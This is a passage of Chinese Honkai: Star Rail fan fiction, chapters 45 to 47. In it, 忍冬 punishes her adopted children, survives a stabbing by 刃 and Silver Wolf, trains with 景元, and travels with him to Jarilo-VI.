艾莲娜半扶起卡卡瓦夏,让他把一半的体重承在她身上,小心的注意着他的伤口,随口缓和着氛围说:“话说啊,刚才听见的古怪鸽子声好像很近啊?这么难听的鸽子叫声,我还是第一次听见。”
“咕咕!咕咕咕!”鸽子叫声激烈起来,声音中富含的愤怒情绪十分明显。
艾莲娜和卡卡瓦夏的动作僵住了。
因为鸽子声就在他们身后,两人的肩上还一边一只,搭上了冰凉的手。
幽冷浅淡的熟悉药香飘到了鼻腔,艾莲娜和卡卡瓦夏额角无声滑落了几滴冷汗。
“去哪儿啊~要不要送你们一程啊?日行一善鸽子精使命必达哟~”
大约鬼拍肩的恐怖跟此时不相上下吧,明明清楚背后的人是谁,并不是鬼,但两人都被吓得大脑空空。
一顿一顿的,像掉帧一样,两人的脑袋迟缓诡异的转过头,看向了身后笑吟吟,但眼神明亮,绝对不会错认她眼中怒火的人。
“忍、忍冬妈妈……”咕咚,艾莲娜分不清是她咽口水的声,还是她身旁的卡卡瓦夏。
“还记得我啊?我还以为我真是路边野生的鸽子精呢~一眨眼,哇哦~眼睛就被我的好大女好大儿挡住了~”
笑意盈盈,阴阳怪气,忍冬承认,这确实是她最喜欢表达暴怒的方式。
看,这两个混蛋玩意儿的青白脸色多好看呀~
“报告!”就在忍
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冬欣赏自己逆子逆女的美妙脸色时,星突然举手大声吸引了她的注意。
“上校!我已完成任务,申请离开!”星才不管注意到她,眼刀已经刷刷飞过来的艾莲娜俩姐弟。
她现在最想做的,就是远离这场可能会越来越大的风暴!
她才不想被想起来的忍冬逮着小辫子念叨呢!就算她也参与隐瞒了这姐弟俩的行踪……
“呵呵~”忍冬睨着星,看着她一脸正气的样子,彻底要气笑了:“离开?星啊~你想得还挺美啊~”
灰毛鸽子精耷拉了头,见不能如愿,也唰啦唰啦的瞪着对面甩眼刀的艾莲娜和砂金。
‘都是你们的错!害我在这里听忍冬念叨!’
‘呵呵~开拓者小姐可真会说笑~不是你带忍冬妈妈找到我们的吗?’
‘那你们为什么不早点转移?!只要你们不在这里,我们就不会暴露!’
‘抱歉……小姐,忍冬妈妈也是担心我,所以才把你和姐姐牵扯了进来。’
大约是压力之下见奇迹吧,三人眼神往来激烈。在忍冬看来只是你瞪我我瞪你的动作中,几息之间,在某位美人计的支使下,很快让星转换立场加入了他们一边。
但这并没有用,忍冬还是没有放过他们,就算这三人已经统一口径,认了错。
通过语言发泄完自己的情绪,忍冬缓缓舒了一口气。
她走近卡卡瓦夏,手中绿光一闪,本来还在渗血的纱布下,疼痛很快止住了。并且,卡卡瓦夏还感受了一阵剧烈出现又很快消失的痒意,是血肉生长的动静。
卡卡瓦夏没有声张,只是软乎乎对忍冬笑了一下。在星直愣愣的眼神中,乖乖伸出了手。
艾莲娜在感受到卡卡瓦夏悄然收回的压在她肩上的力道之后,也向忍冬伸出了自己空闲出来的一只手。
星不明所以。
忍冬满脸笑容,无视了旁观的她。抽出鞭子,拎着鞭柄和鞭尖,啪的两声脆响,卡卡瓦夏和艾莲娜伸出来的白皙手心中,肉眼可见的快速红肿出了一条红痕。
在星惊恐的视线下,她看见忍冬笑眯眯的继续抽,直抽了十下。而两人的手,也肿成了一个大馒头。
下、下手好狠!!
虽然知道留下没什么好事吧,但、但她不想挨打啊!!
星转身就跑,发挥了自己十年垃圾场抢垃圾的飞快速度,倒腾得出现残影的腿后,沙尘飞扬。
“我想起帕姆找我有事!我先走了!很急!不送!”
忍冬看了星奔逃的背影一眼,转回了头,如同焊在脸上的微笑灿烂至极。
她丢给两人一个白瓷小药瓶,语气轻轻的,带着告诫:“记住这个教训。再有下次,我欢迎你们继续挑战我的长鞭~”
红肿到炙热的手心已经感受不到疼痛了,约莫是持续的抽击让它暂时麻木了。
艾莲娜见星离开,探查了一圈周围,没有发现人之后,果断撂下了尚还扶着的弟弟。快速单手打开瓷瓶,在忍冬含笑的恐怖视线中,给自己上了药。
卡卡瓦夏活动了一下恢复的身体,从艾莲娜手中接过了瓷瓶,也给自己上了药。
就跟忍冬的治疗能力一样,这药也很快把他们手心的肿痕消了下去,只余留一点麻痒的红斑。
忍冬:“这次就不全治好了,好让你们记住教训,不要好了伤疤忘了疼!记住了吗?”
姐弟俩对视一眼,看着忍冬乖乖道:“记住了~”
45.偷袭
卡卡瓦夏严重的伤势恢复了,但失去了自由的行动力。
虽然之后的事自有公司人员接手……
他头疼的捂住脑门,身后紧跟着悠闲散步的忍冬和小心翼翼的艾莲娜。
他们仍旧滞留在流梦礁。
在见过星那一面之后,忍冬就未在这里遇见熟人了。
卡卡瓦夏本想让她们撤离出匹诺康尼,但忍冬拒绝了。
“你尚还留在这里,就说明你的失踪是公司对家族出手的主要借口。我怎么能走?不怕一万,就怕万一。”忍冬眉头死死皱着,在身旁的艾莲娜轻手揉开后,严肃瞪向他。
“况且,连石心十人的你都能砍伤的人,你确定不会再来砍你一刀?”
忍冬很不信任卡卡瓦夏的油嘴滑舌,并向他发送了不赞同视线。
同样内容的对话卡卡瓦夏和忍冬已经说过很多次了,但每次都以他的失败告终。不论是摆理还是撒泼,忍冬都坚持己见。连往常一向能劝解忍冬妈妈改变主意的姐姐,在这件事上都不好使了。
更何况……
“所以你为什么还不走?!”忍冬平静的声调拉高,气急败坏的情绪让话语显得咄咄逼人。
卡卡瓦夏低头不语,艾莲娜满脸惶惶。见又是这套沉默手段,忍冬牙齿紧咬,快速越过卡卡瓦夏,故意撞过他的肩膀。不理人的站在了最前面。
……每次都以这种结果收场啊。
身后的姐弟俩眼神擦过,叹气跟上了忍冬。
忍冬没有询问卡卡瓦夏……不,这种时候该称作砂金的他,有关他来到匹诺康尼的全部经历。她仅知道,他为了赌出这个交由他手的项目的唯一胜率,亲自把自己押到了牌面上。而那位虚无令使,则是实现这一途径的道路。
列车成员、公司、家族、疑似欢愉的人、家族中暗含的背叛者……这个纸醉金迷的地方聚集了太多太多的不安定因素。
她心里很忐忑,也有焦虑滋生。
虽达成了此行的目的,但忍冬仍旧忧虑重重。
直到……星核猎手亲自“拜访”了她。
在砂金的赌盘成功让幸运惠顾了之后,她们本来将要撤走之时,出来在藏身处闲逛的忍冬,耳边掠过了一声细小的声响。
大脑下意识的判定为吹过的风,不巧带动地上的纸片或垃圾,在仅有的一秒内,她没有反应过来。
呲——
锋利的尖锋穿透腰腹,正正好位于躯干的中心,离心脏仅差几寸。
在剧痛袭来之前,忍冬的眼瞳里只映出了半截闪过血光的剑锋,红通通的,看起来比她的血液还要浓重。
她这时脑子中闪过的模糊想法是,她……好像认识它。
她跪倒了下去,瞳孔紧缩,倒抽冷气。身体由于剧痛,每处肌肉都在疯狂的颤抖。青色的旗袍缎面溅射了点点血花,创口虽由于剑刃的堵塞没有导致大出血,但一缕温热的血流还是从边口透了出来,逐渐沾染了一大片。
忍冬是想回头的,但太痛了,这是她漫长的年岁中唯有童年才感受过的濒死之感。悠闲度日的如今,她已没有了忍耐力。
但好在,身后的人好像暂时没有让她速死的想法?
她细微感受到,身后那人松开了剑柄,踏步向她面前转了过来。还有一阵细微电流声,刺啦一下,低着的头余光就瞥见了一道人形投影的双脚。
“喂喂?忍冬小姐,还能听见我说话吗?”略带点散漫的陌生少女音在她面前响起,她勾下头,伸手在忍冬逐渐模糊的眼前摇晃着。
是星河猎手银狼。
身后的脚步声也在她面前站定了,是一双男性的腿。他不说话,仅用冰冷的视线盯着她,无言默许银狼试探的问话。
不远处在屋内收拾东西的艾莲娜不由得内心一阵紧缩,一股无声的慌乱忐忑涌到了心尖。她猛的转头寻找着忍冬,呼喊着快步跑了出来。
在眼睛触及那道跪在血色中的人影前,她的动作比她瞬间空白的大脑反应更为迅速,一刀弯月斩向了忍冬身前站着的两道身影。
银狼躲都没躲,弯月穿过虚拟的投影,只带来了一阵一秒不到的模糊。她仍旧站在忍冬面前伸着手,坚持不懈的询问她。
“艾利欧的剧本里没有你,预言里也没有你,但你居然存在欸?”惊叹好奇的眼神,试探的语气,加上不断在面前晃动的手掌。
已经失血感到寒冷的忍冬,不由得努力伸手拍掉了面前这作乱的手。
“你、你想问什么?”忍冬不明白银狼为何问她这个,也不明白她的惊叹。
对于她话语里的艾利欧,忍冬只有一点浅显的了解。星河猎手的一员,神秘份子,据称为“命运的奴隶”。但他居然会预言吗?没有她是什么意思……
“忍冬妈妈!”艾莲娜凄厉的嘶喊勾回了忍冬已经消散的一点注意力。她艰难的抬起头,就见艾莲娜被应星改名后的刃压着打,连手中的弯刀都被夺了过去。
艾莲娜那双艳丽的瞳孔焦急的望着她,心里蔓延的恐惧和后怕沉重得让她光亮的面庞都灰暗了。
忍冬见艾莲娜分神,被刃一刀擦过手臂,撕裂了一道血肉模糊的刀口,气急着咳嗽了起来,血沫也从嘴角溢了出去。
“专心,艾莲娜!”忍冬气喘着低低吼出这句话,艰难扭头看向身旁一直默默注视着她的银狼:“星核猎手要与仙舟作对?”
“并没有。只不过忍冬小姐,艾利欧说你的存在很奇妙,让我们来试探一下。”银狼并没有对忍冬色厉内荏的说法糊弄到,而是摊了摊手,解释说:“毕竟以他的说法来说,忍冬小姐是不该存在的人,不论是本身还是能力。”
忍冬雪白的面色一变,眼神彻底恶劣了起来:“你们知道?”
银狼不无不可的点点头,指着那边与以往相比十分冷静的刃,笑了:“看,最好的例证。”
忍冬忍不住哼笑一声,在扯动伤口脸色越发惨白时,浑身的绿光莹莹亮起。
绿光包裹着插入她体内的长剑,慢慢的,慢慢的,拔了出来。血液迸溅了很大一片,但很快,绿光又一闪,血腥味不再继续蔓延。
银狼吹破嘴里的泡泡,冷静的看着她:“就这么暴露出来?明明还没确定吧?”
忍冬起身,拍了拍膝盖沾上的灰土,手腕一转,红鞭出现在了手中。“确定不确定什么的,在你们出现捅了我一刀之后就没所谓了。至于我该不该存在……呵,如果你们的预言是对的,那我便是证实你们预言错误的例证!”
一鞭,刺啦的腐蚀声在银狼跳开的地面留下了一道深痕,幽幽冒着紫气。
忍冬脚踩住身后拔出来的剑,碾压着。扬鞭指向压着艾莲娜打的刃,眼瞳被活跃起来的力量染成了烟紫色,“应星,我虽与你不熟,但好歹是一同来到仙舟的外来者,景元的妻子。你以捅我来试探,呵,果然不愧是朱明的天才工匠啊~我这等不在你们计划里的小人物,死活真真是轻如鸿毛!”
脚下的剑身抖动着,大力抵抗着忍冬的压制。但忍冬
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被这一出气狠了,用力量暂时增强了自己的力气,压住了这把名为【支离】的剑,还幻化出藤蔓缠绕着剑身。
被她指着的男人面色冷沉,宛如千年的寒冰。他的眸色血红,平静的倒映着她,“我不叫应星。”
“但你逃脱不了往日的束缚!”忍冬看着面前这陌生又熟悉的脸,厉声斥道。
她本不想掺入云上五骁的恩怨,就算景元在内也一样。那是一段她仅仅路过就感受到的明媚,不管是岁月还是人,太过耀眼了。
可当这耀眼的光芒熄灭后,剑锋对向她和她的家人,忍冬还是忍不住,说出了对这人来说最扎心的话。
饮月君丹枫是那件事的罪人,应星同样也是!对比已经遗忘很多过往,开始新生活的丹恒而言,刃追逐在过往记忆身后,不断死缠烂打,并且无谓把她牵扯进去,变成一抹微不足道的代价来说,这人,跟以往的丹枫一样垃圾!
就算他是听命那个艾利欧对她出手也一样!
刃的红眸浓深,死死盯着忍冬。在场四人中最健硕的身材在气势的衬托下,显得格外压迫。
忍冬的眸色越来越浓,紫意幽幽,捏着鞭子的手也绷紧了。
距刃几米远的艾莲娜警惕的盯着他,抿着唇等待着抢回自己弯刀的时机。
“啊……卡芙卡来消息了。等等啊几位,不要自顾自把在场的我排除好吧?”银狼虚影掏出手机查看了一下,看向了面色很难看的刃,说:“我们该走了。”
“捅我一刀,丢下很多谜语后就想走?”忍冬把毒烟染紫的长鞭甩向银狼。
银狼侧身躲过,口中的口香糖又吹破了一个泡泡,看向忍冬:“所以啊,我才对你也很感兴趣啊。居然能攻击到数据构成的投影,你的能力问题真的很大欸。”
忍冬抿着唇,皱眉瞪她:“我都没抽到!你放什么屁话呢!胡咧咧是不用负责吗?!”
忍冬知道自己武力值不高。毕竟作为一个主点治疗,次点毒攻的奶妈,她跟这些人拼武力,本身就是错误的!但这不是这些人来捅她一刀后拍拍屁股就能溜的事!如果不是她,人已经死了好不好?!
“刃。”银狼喊。
刃看了忍冬一眼,把手中的弯刀扔还艾莲娜。刺啦一声,忍冬脚下的支离割破藤蔓,掀开忍冬飞向了他转身的背影。
忍冬还想动手,但反应过来的艾莲娜一把冲了过来,抱住了她。颤抖惊恐的低泣让忍冬不得不把注意力放回更重要的艾莲娜身上。
忍冬:“我没事了~伤口全部好了!也没有故意想钓人!只不过是没反应过来!”
艾莲娜:“之、之后,呜……我、我一定要捅回去!卡卡瓦夏那个死小子,这个时候却不在!我一定要揍他一顿,呜呜……嗝,忍冬妈妈,跟我一起早起练武吧……”
颠三倒四的话从抽噎着的艾莲娜口中吐出,她紧紧抱着忍冬,寸步不离,连拖带拽的,片刻不停的把忍冬拉着离开这片让她不安的地方。
连忍冬辩解的话都没听。
“我真的没事……这里是匹诺康尼的梦境啊,就算真的有死亡,我的身体也还好好的啊……”
……
罗浮,神策府。
与忍冬息息相关的小藤球突然大亮,绿色光芒后又渐渐低微,然后大盛,熄灭。像颗在夜场的绿光灯球,闪烁着。
景元神色凝重,指尖紧扣小藤球,心口砰砰,焦躁和不安让他时刻运转的大脑非常疲惫。
“到底发生了什么……”
46.远航
忍冬很忧愁。
透明的舷窗外,瑰丽的星球逐渐远离,渐渐只留下了一道灿金的残影。
她再一次不自觉叹气。
艾莲娜的座位紧挨着忍冬,她悄然看了忧愁的忍冬一眼,转头跟隔着一个过道的卡卡瓦夏视线交锋上了。
‘快,叫醒忍冬妈妈。’艾莲娜的眼神无声催促。
卡卡瓦夏带着自己最偏爱的那副紫色遮阳镜,镜框下的眼角带着一抹艳红,默然对视着眨了眨眼。很自然的偏过了头,撑着下巴,装作沉迷宇宙景色,无暇他顾。
艾莲娜的眼神瞬间犀利,手捏着自己的长裙裙摆,揪起了很大一团褶皱。
‘混小子!!’
“唉……”忍冬再次叹气出声,难得转头忐忑的看向身旁的艾莲娜,也给一边望着窗外的卡卡瓦夏一个眼神,纠结的问:“如果、我是如果啊!你们对一个很重要的人做出了承诺,还放了大话。然而这个承诺并没有做到,但那个很重要的人不一定会知道!你们会坦白吗?”
艾莲娜唇角勾起的笑弧僵硬着,在忍冬暗含热切的眼神下,头轻轻偏向她的方向,试探着磕磕巴巴说:“不、不会吧?”
忍冬神色一动,很明显的心动了。
“如果是很重要的人,那说谎也不好吧?”卡卡瓦夏没有回头,维持着自己固执的姿态,尽力让自己的声音显得漫不经心。
但透过黑沉的宇宙,透明的舷窗暂时成为了一面劣质的镜面,映照出了他勾起嘴角,却牵扯到眼尾的红痕后龇牙咧嘴的滑稽面貌。
“噗!”艾莲娜忍不住喷笑出声,就连还在忧愁的忍冬,眼里也含了几分笑意。
“呵!”卡卡瓦夏在反射的镜面中对上了艾莲娜嘲笑的视线,冷笑了一声。指了指自己眼尾被指甲划过残留下的红痕,轻点了点,控诉姿态十足。
看着他们这番暗地里的较劲,忍冬担忧的心放松了片刻,唇畔轻勾后又耷下。
艾莲娜能因为卡卡瓦夏当时的不在场而生气,那景元呢?他也会因为她的隐瞒而心怀芥蒂吧……
其实忍冬并没有准备隐瞒,就算景元没有察觉到。
因为这事关她的安危,而她也知道他会担忧,所以隐瞒的选项从头到尾都没有存在过。
只是……
忍冬:“还是会害怕啊……就算知道他的后怕会多过生气……”
……
在砂金一行人离开时,匹诺康尼的剧目正上演到最精彩之处。星带着从流梦礁得到的帽子,不负众望的击败了敌后大boss,橡木家族的星期日先生,一位执意实行七休日的天才。
星:“说实话,要不是他是敌人,我还挺期待七休日的。”
三月七:“啊?你这天天摸鱼,不好好开拓的家伙,怎么好意思提的?你根本没有上班吧,捡垃圾的小浣熊!”
丹恒:“确实……”
星:“好过分!捡垃圾也是工作啊!”
……
开拓列车今日也行驶在开拓的旅途上呢~
一到站,艾莲娜笑眯眯的拉扯着卡卡瓦夏,挥挥手告别了忍冬。说是姐弟俩好久不见,需要两人空间好好“交流”一下?
忍冬挥了挥手,艾莲娜就扯着卡卡瓦夏的高定衣摆,直扯起了褶皱,转身向着丹鼎司的方向而去。
她看着他们的背影,唏嘘了几声。感叹,真是姐弟情深啊,连动手都得找好医生……
一声熟悉至骨的脚步声在她身旁站定,喊她:“夫人。”
“看来知道了呢。”忍冬没有转头,轻飘的声线带着游移。
“是被卷进了哪方的争斗?列车、家族、巡海游侠、假面愚者还是忆庭?”景元一个个细数过去,带着说不出的耐心与平缓。
但这副好像在点死亡名册的举动,实在让忍冬心底毛毛的。
“景、景元啊……你看这人来人往的,还是不要讨论这种大事了吧?”虽然路过的旅客都来去匆匆,根本没有人在意两人站在路口说着这些寰宇大势力,但忍冬还是用了这个借口。
人多很好,让她很有安全感;也不好,让她有种大庭广众下被目光刺痛的羞愧。
“谁?”景元的这句疑惑反问,在忍冬这个心虚的人听来,实在是有一语双关的内涵。既问是谁在看,也问到底是谁伤了她。
是的,忍冬觉得他知道了。
景元虽至八百岁后逐渐疲懒,但对于罗浮的大小事务,他仍旧事事上心。由此,他的闲暇时日其实并不多。
而今天,在没有特意告诉他,他们将要回来。他却分毫不差的出现在这里,她的身旁。
宛如特意的等待……或许不是宛如……
忍冬转头凝视着那双温煦的双眼,看着金色阳光照射下反射着白光的白发,那眼里一直注视的自己。
她说:“星核猎手来找我,应星、刃捅了我一刀,理由是我不该存在。”
景元的笑消失了,面色冷沉,解下了悬挂在腰上的藤球,一掌握住,轻语呢喃:“【命运的奴隶】艾利欧吗……”
他首先注重的是这件事最可能的起因,但这不代表景元就不在意那则宛如宣判的断言。
……只不过是因为,他真很在意。在意到不敢跟忍冬讨论这件事,不敢直视她的双眼。
忍冬都明白。
她张开双手,轻柔的抱住他,带着怜惜与愧疚,带着担忧与激动。
她说:“我的种子在你手里,我将永远与你同在。”
这不是情话,这是忍冬宣判的事实。
无论那位预见的艾利欧看见的过去和未来有没有她,但她存在,这即是事实。而景元,也将是她此生唯一的选择……
景元紧紧的回抱住她,头埋在了她的肩上,温热呼吸不断喷出,灼热了肩膀的肌肤,“那景元就却之不恭了……”。
时间流水般向前,忍冬偶尔回看,但很快又注视向前方。
这次的事既是一场危机,也是一场预警。忍冬开始跟着景元练武了。
冬练三九,夏练三伏,以前仅能捏起软肉的胳膊,也渐渐紧绷结实,甩出的鞭子已经能不靠毒素便能抽裂地面了。
她的长发更是每日经由景元的手扎出两个丸子,换上由他亲选的不同发圈。天微亮就身着仙舟传统练功服,一件连体的青色短打,在小院内虎虎生风的甩出鞭击声。
一般再过一个小时左右,等天全白时,刚给她扎完头发后又倒头昏睡的景元才会出现,指点她动作的不标准处。
忍冬试过把景元直接扯起来,但当她开始训练,他却早已歪倒在院墙边,站着打盹了。
猫科是这样呢……<
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当看见他那副困到眼都睁不开,但还是努力克制,话语含糊指点她的模样,忍冬难得心软了。
后来,忍冬家一天的开始,起始于景元爬起床给她扎头发,然后倒头睡去,忍冬独自去小院训练。等天亮时,在她身边刷新一只打着哈欠泪眼朦胧的大白猫。
这种状态持续了很久,大约一年时间吧。
现在,到了改变的时候了。
“飞槎驾驶资格证、飞舰驾驶资格证、野外生存技巧……很好!都齐全了!”忍冬拍拍手,满脸高兴。
她身后不远处,已经收拾好两人行李的景元,正在悠哉的翻看着上次未看完的古籍。
他们将要有一场长达三个月的星际旅行。
忍冬歪头看他:“你真的要让符玄暂代将军之位?不怕回来她不还你吗?”
“那不是好事吗?”景元头都没抬,眼睛一个个扫过泛黄的书页上繁复的文字,漫不经心道:“若符卿能坐稳那个位置,我倒没什么意见。只不过现今虽已有处理事务的能力,但应对上面那些,尚还有点手腕稚嫩……”
忍冬深以为然的点点头:“毕竟老而不死是为贼嘛~”
“师娘!星槎海来了一艘黑塔空间站的货运飞船,是找你的!”彦卿咋咋呼呼的踩着自己的飞剑越过墙,直接飞了进来。跳下地,身旁的剑身上染着冰透的蓝。
忍冬从书房内探出头,疑惑:“找我的?什么事?”
彦卿立马改变冲向待客室的脚步,转向这边跑来,面颊红润,眼神晶亮,手指比划了很大一个圈:“一艘、一艘很大的飞舰啊!!”
“飞舰……啊,是艾丝妲吧?原来上次说的不是玩笑吗……”忍冬凝目,拿出玉兆就打算给她发消息。
“不是、送过来的人是卡卡瓦夏啊……他明确跟我说,他跟艾莲娜也出了一点力……”彦卿摸摸头,头上缭绕的雾气浓重。
“嗯?”忍冬定眼看着玉兆上艾丝妲回复的消息,轻叹着笑了起来,看向彦卿:“他没说错,他们都出了一份力。”
“什么意思?”彦卿更摸不着头脑了,毕竟卡卡瓦夏为了让他快点来通知师娘这个惊喜消息,只跟他勿囵说了一通,反正大致意思就是他总结的那样。
……但“他们”?意思是很多人喽?
“他们没跟我说?!”彦卿后知后觉的反应了过来,气急出声。
忍冬见彦卿的反应,无奈笑笑,对他摇了摇她的玉兆。
上面除了刚跟艾丝妲的对话外,还有一连串让彦卿也很眼熟的头像给忍冬在几分钟前发了消息。
彦卿是第一次这么痛恨自己的好眼力,如此清楚的看见每个头像下方飘过的最新讯息。
都、都参加了啊……
艾丝妲小姐是师娘的忘年交,可以理解;卡卡瓦夏和艾莲娜对一年前的那件事怀有愧疚,想出一份力,可以理解;星师父……你怎么也在里面掺了一脚啊?!平时不是忙到头掉吗?!居然还在给黑塔女士打黑工后有时间做这些吗?!还有黑塔女士……您跟师娘很熟吗……
依托星这个社交恐怖患者的存在,忍冬这次星海之旅的惊喜嘉宾一串接着一串,还有很多个头顶问号的人向她发出了平安顺利的祝愿。
忍冬:“总之,就是这样!我们出发吧!会给你们带特产的!”
47.拜访雅利洛
星这个孩子,怎么说呢……有一种很特殊的天赋。
虽然性格很不靠谱,但做起事来,反而十拿九稳。所以,很多人很喜欢她,很多人都成为了她的朋友。忍冬也不例外。
本来忍冬练武稍有小成后,并没有什么放纵的想法。但经由不知从何处打听到那件事的星的循循善诱和死缠烂打下,忍冬开始思考该怎么庆祝。
毕竟她真的很少离开罗浮……
“那就去雅利洛-Ⅵ吧!”星高兴的建议道。
所以,他们的第一站是雅利洛-Ⅵ,一颗遭受星核灾害与寰宇断绝,全星被雪原覆盖的地方。
“据星说,那上面还有一处帕姆的刻像呢~”忍冬设置好自动驾驶后,带着一点分享八卦的口吻对景元说起了这件事。
景元沉思了一会儿,似想起什么,对忍冬补充道:“这个我好像知道,是……一位来罗浮参加演武典仪的化外民给我说起的。他……好像就来自这颗星球……”
“这么不确定吗?”忍冬很好奇。毕竟以她了解的仅有几颗星球来说,这么离奇的景象应该很少见才对?
“你呀……”景元叹气,眼里带着淡淡的无奈,“学宫教授的星神通识课内容全部还回去了吗?【开拓】的那位,可算不上什么正经神啊……”
“【开拓】……游云天君?”忍冬试探的念出这个记忆中逐渐模糊的尊号,眼神迟疑的盯着景元。
景元轻笑着点点头,向忍冬说起了这位天君的“丰功伟绩”。包括但不限于在其他星球上用列车创出帕姆的刻像;撞破了补天司命也就是【存护】星神的墙;用雪地车闯进泰科铵大球馆扰乱比赛,致使手下的二十几名无名客无偿劳动了三个月……
“……熊孩子。”听此,忍冬只能给出这个评价。
“嗯……”景元摸着下巴,笑眯眯的调侃道:“跟开拓者很像呢~”
“确实。大概【开拓】这种性格才适合吧。”忍冬点头,想到星这个她认识的大号熊孩子,她已经能感受到那位据说一直在列车上的列车长帕姆的头疼了,还是持续不断的……
虽然不确定开拓星神是如何陨落的,但这位跟【欢愉】应该很合得来……
……
遥远的宇宙中,无光无天之地,一位庞大到不知如何描述,仅肉眼一瞥便双目刺痛的各色面具聚合在一起,或笑或哭,滑稽十足。它们掩映之下,一道黑色宛如黑洞的人影发出了赞同的笑声:“阿哈也很喜欢阿基维利呢~毕竟,祂太有乐子了~阿哈喜欢!”
在遥远的宇宙另一角,红光闪过,机械的光芒带着冷然的理智,不断运算着这一结果可能导致的未来。
又一处,明亮的“流星”划过天际,蓝焰的人马执弓,对上了一个仅余衣边的金色人影,射出了又一颗“流星”。
一颗繁华的星球上,高楼大厦的狭小街巷中,黑猫轻灵跳跃着越过沿路的障碍,眼中情绪重重,看向了剧本的未来。
数不清的“祂”在注视着她们,等待乐子,等待碰撞的花火,等待棋盘正式开幕之时,作为操棋手就位……
“阿嘁!!”星连打了三个喷嚏,还抱臂打了个冷战。
“感冒了?”三月七担心又带着点幸灾乐祸,毕竟她已经好久没在列车上看见这个家伙了。风餐露宿,不感冒一次才怪!
“才没有!”星等冷意过去犟嘴反驳,眼里自信满满,“我可是能一天跑遍全地图,打遍寰宇无敌手的银河棒球侠!小小感冒,能奈我何?!阿、阿嘁!!”
又一个喷嚏过去,星揉了揉鼻尖,叉着腰,依旧满脸自信的笑容。
但很快,笑脸就撑不住了。一杯闻起来甜甜的,带着药味的黑褐色液体被递到了她手中。
星面容沉痛,壮士断腕一般叹惋着:“我可是能一天一次去帮老杜试茶的人,我会怕吗?!咕嘟——啊!好难喝!甜腻带苦涩,是怎么做到的啊?!你只是一杯感冒药啊!”
星在那指着空杯愤愤不平念叨,一旁的三月七接收到帕姆疑惑的视线,贴心向他解释,“老杜,是罗浮上一家卖茶水的老板。他经常付费给星让她品他的新茶。我听星说,他家的新茶根本不像茶,不是极度冰寒,就是调出了酒水,还让她昏过去好几次。总之,是很神奇的迫害道具。”
“这样吗帕?但感冒药能跟这样的东西相提并论吗帕?”帕姆仅听三月七浅显的解释就能明白这种茶水的厉害,但甜甜的感冒药……嗯?很难喝吗?
星给了他一个包容的眼神,转身离开的背影带着大人的成熟,摇头晃脑的,看起来很欠打。
“唉~无敌是多么~多么~寂寞~”
……
托列车的福,雅利洛-Ⅵ已经能跟寰宇链接上了。所以,忍冬和景元不用空耗时间在漫长的宇宙航行上。
驶过三个宇宙日的行程,忍冬他们到达了测算出的最佳迁跃处。流线型的中型舰身遍布的能量槽亮起了莹蓝色的光,白光一闪,这艘名为星海号的飞舰就消失在了原地。
但视线依旧一直跟随着它。
贝洛伯格北部,距城郊雪原二十几公里的雪松林中,星海号降落在了一片平坦的雪地上。
呲——舱门打开,忍冬裹着厚重的衣服走了出来,景元紧随其后。
“呼——好冷!”迎面而来的冰冷空气刺激了鼻腔,忍冬的鼻尖涌上微红。她倒吸一口冷气,热气随着不断的呼吸散入空气中。
景元手中拿着一个精巧的机械小玩意,上面带有一个显示屏。他看着上面显示的信息,指着左前方说:“穿过这片松林,再越过一片雪原,大概就是贝罗伯格的行政区了。”
“雪原……是城郊雪原?星说那里有很可爱的冰原熊宝宝!很可爱的毛茸茸哦~”忍冬思及星曾向她分享的图片,搓着手,眼神看着白雪晶亮,带着点蠢蠢欲动的说着。
“嗯……我们有足够的时间,一定可以看见的。走吧。”景元牵上忍冬的手,两人离开了舱门。
咔呲一声,舱门关闭,飞舰周身浮现一道蓝色的能量罩,蛰伏了起来。
“星海号没事吧?”忍冬不安的回头望了它一眼,在能量罩升起后,星海号就跟环境融为了一体,如同变色龙,看不出半点存在感。
景元也回头看了,见肉眼不能及,唇角微弯,手紧握住忍冬,宽慰说:“没事,我们还会回来的。”
仙舟是巨大的浮空飞船,虽装载了天气系统,也曾下
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过雪。但雅利洛很不同,它的雪,是深厚的,松散的,带着冬雪天特有的冰冷,跟罗浮上忍冬见过的那几场人为降下的雪感受差异明显。
在来之前,忍冬特意在罗浮找人定制了冬天的衣物,包括两双厚实的冬靴。店家打保证说,不管是多冷的天,多厚的雪,这冬靴完全不会侵入一点冷意。
……看来她说大话了。
雅利洛的雪太厚了,虽星核解决,不再下雪,但长年累月积累的雪层依旧到了她的膝盖。
所幸她听取了星的意见,全身都订做了长衣长裤,这才不至于亲身接触雪层。
嘎吱嘎吱,靴底跟雪花碰撞出了很奇妙的声音。忍冬戴着手套,左手被景元牵着,右手不断抓过路边的雪花,紧捏成球,向远处扔去。
她的面颊红了起来,冰凉凉的,但忍冬半点也没有注意到,反而频繁看向景元。看他的毛领露出的那截脖子,看他同样微红的脸颊,看他注意着四周的模样……
忍冬的手蠢蠢欲动……
可十里雪原啊,就算他们两人都算得上武力充沛之人,也带上了足够的应急物资,这番想肆意打闹的想法多少也有点不该。
忍冬谴责自己。
在她放弃这番想法,抓取雪花的手也开始随意捏团,散漫投掷时,一只手抓着雪花塞到了她的后领。
那只手很热,雪花很冰,可她的后领也很热。冷热刺激下,她手中未成形的雪团落地,懵然扭过头,嘴巴微张,眼神愣愣的看着温柔笑着的景元,“你、你干嘛?”
景元的手抽了出来,那把雪花也拿了出来。但景元的雪花是散的,只是随意的一抓,所以仍旧有一点残留在她后颈处,逐渐变成了雪水,滑入了后背。
景元松开手,让手中已经凝成一小团的雪花落地,手掌中带着残留的雪水,在忍冬还未相信时,抹上了她的脸颊。
湿湿的、冷冷的……
“不对!你偷袭我?!”忍冬一把抓起地上的一捧雪,眼神瞬间犀利。在景元想抽出牵着的手时,死死的攥住了,把另一只手中的雪团抹到了他脸上。
他没有躲,忍冬猜测可能是躲不掉放弃了,也可能是根本不想躲。景元有很多次这种先例,他们的相处,总是他对她暗搓搓的使着坏。
忍冬以前没有反应过来,生生吃了好多亏。后来嘛……老夫老妻的,要什么面子!里外都熟透了!他就是故意的!
“好冰……夫人好狠的心肠啊~”景元伸指揩掉脸上的雪,眼睫都沾染了一些。他鼻尖顶着一小团雪花,可怜兮兮的谴责望着忍冬。
真、真是秀色可餐啊……
忍冬猛然回神,轻打了自己脸颊一掌,眼神不对劲的看着他,“你又想拿这招糊弄我?!”
美人计,对于很符合忍冬审美的景元来说,是在其他招数都不奏效后,非常值得发扬光大的一记策术。
景元浅浅低眉,长而飞翘的羽睫沾着雪白,落寞低头,说:“夫人又无端揣测景元……”
“对、对不起?”忍冬就算知道景元是故意的,但是……真是貌美的猫猫啊……他有什么错呢?猫猫爱玩是天性啊!
